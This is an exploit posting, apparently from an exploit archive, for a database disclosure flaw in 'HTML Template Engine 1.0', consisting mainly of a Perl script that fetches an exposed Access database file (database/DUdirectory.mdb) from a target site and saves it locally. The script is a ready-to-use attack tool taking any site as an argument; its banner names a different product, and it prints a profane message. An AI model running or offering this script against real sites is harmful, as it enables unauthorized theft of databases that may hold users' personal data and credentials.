HTML Template Engine version 1.0 suffers from a database disclosure vulnerability.
f2e4e93d9800d7430cb3fbb41c01e994
| # Title : html template engine 1.0 Database Disclosure Exploit
| # Author : indoushka
| # email : [email protected]
| # Tested on: windows 8.1 FranASSais V.(Pro)
| # Vendor : SourceForge: Kanator / http://adyou.me/4TVD
=========================================================
#!/usr/bin/perl -w
#
# Author : indoushka
#
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('Asp Data Driven Website Database Disclosure Exploit');
system('color a');
if(@ARGV < 2)
{
print "[-]How To Use\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
($TargetIP, $path, $File,) = @ARGV;
$File="database/DUdirectory.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n Fuck you wait!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "D:/DUdirectory.mdb");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to D:/DUdirectory.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
Greetz :
jericho http://attrition.org & Larry W. Cashdollar* http://packetstormsecurity.com
Hussin-X *D4NB4R* KnocKout * https://www.corelan.be *